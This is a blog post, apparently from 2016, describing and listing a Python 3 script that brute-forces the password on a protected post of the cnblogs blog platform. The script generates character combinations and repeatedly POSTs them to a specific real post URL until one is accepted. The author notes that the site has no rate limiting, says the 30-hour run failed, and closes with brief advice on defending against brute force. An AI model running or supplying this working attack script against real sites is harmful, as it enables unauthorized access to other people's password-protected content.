python3实现暴力穷举博客园密码


Posted in Python onJune 19, 2016

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

Python 相关文章推荐
使用IronPython把Python脚本集成到.NET程序中的教程
Mar 31 Python
Python 稀疏矩阵-sparse 存储和转换
May 27 Python
OpenCV2.3.1+Python2.7.3+Numpy等的配置解析
Jan 05 Python
python利用requests库模拟post请求时json的使用教程
Dec 07 Python
python简单贪吃蛇开发
Jan 28 Python
pandas实现将dataframe满足某一条件的值选出
Jun 12 Python
python的pytest框架之命令行参数详解(上)
Jun 27 Python
python查看数据类型的方法
Oct 12 Python
matlab、python中矩阵的互相导入导出方式
Jun 01 Python
pycharm 2020.2.4 pip install Flask 报错 Error:Non-zero exit code的问题
Dec 04 Python
python通过cython加密代码
Dec 11 Python
Python&Matlab实现灰狼优化算法的示例代码
Mar 21 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 #Python
Python中使用装饰器来优化尾递归的示例
Jun 18 #Python
举例讲解Python面向对象编程中类的继承
Jun 17 #Python
浅谈python为什么不需要三目运算符和switch
Jun 17 #Python
python运行时间的几种方法
Jun 17 #Python
从局部变量和全局变量开始全面解析Python中变量的作用域
Jun 16 #Python
实例讲解Python中global语句下全局变量的值的修改
Jun 16 #Python
You might like
坏狼php学习 计数器实例代码
2008/06/15 PHP
PHP编码规范之注释和文件结构说明
2010/07/09 PHP
php dirname(__FILE__) 获取当前文件的绝对路径
2011/06/28 PHP
php5.2 Json不能正确处理中文、GB编码的解决方法
2014/03/28 PHP
总结PHP中DateTime的常用方法
2016/08/11 PHP
php进程daemon化的正确实现方法
2018/09/06 PHP
Javascript函数式编程语言
2015/10/11 Javascript
第九篇Bootstrap导航菜单创建步骤详解
2016/06/21 Javascript
详解AngularJS中ng-src指令的使用
2016/09/07 Javascript
Vue.JS入门教程之自定义指令
2016/12/08 Javascript
浅析Jquery操作select
2016/12/13 Javascript
JavaScript基于replace+正则实现ES6的字符串模版功能
2017/04/25 Javascript
JavaScript设计模式之单例模式详解
2017/06/09 Javascript
vue 实现 ios 原生picker 效果及实现思路解析
2017/12/06 Javascript
Vue面试题及Vue知识点整理
2018/10/07 Javascript
JavaScript错误处理操作实例详解
2019/01/04 Javascript
构建Vue大型应用的10个最佳实践(小结)
2019/11/07 Javascript
Vue实现简单的拖拽效果
2020/08/25 Javascript
Python里隐藏的“禅”
2014/06/16 Python
python 打印对象的所有属性值的方法
2016/09/11 Python
Python中装饰器兼容加括号和不加括号的写法详解
2017/07/05 Python
pycharm 将python文件打包为exe格式的方法
2019/01/16 Python
用sqlalchemy构建Django连接池的实例
2019/08/29 Python
Keras 切换后端方式(Theano和TensorFlow)
2020/06/19 Python
h5页面背景图很长要有滚动条滑动效果的实现
2021/01/27 HTML / CSS
竞聘上岗演讲稿范文
2014/01/10 职场文书
预备党员政审材料
2014/02/04 职场文书
地理教师岗位职责
2014/03/16 职场文书
2014年社会实践活动总结范文
2014/04/29 职场文书
群众路线教育实践活动实施方案
2014/10/31 职场文书
2014年班务工作总结
2014/12/02 职场文书
女方家长婚礼答谢词
2015/09/29 职场文书
2016年党课培训学习心得体会
2016/01/07 职场文书
《刺客之王:C罗全景传记》:时代从来不会亏待手艺人
2019/11/28 职场文书
matplotlib之pyplot模块实现添加子图subplot的使用
2021/04/25 Python
golang 实现并发求和
2021/05/08 Golang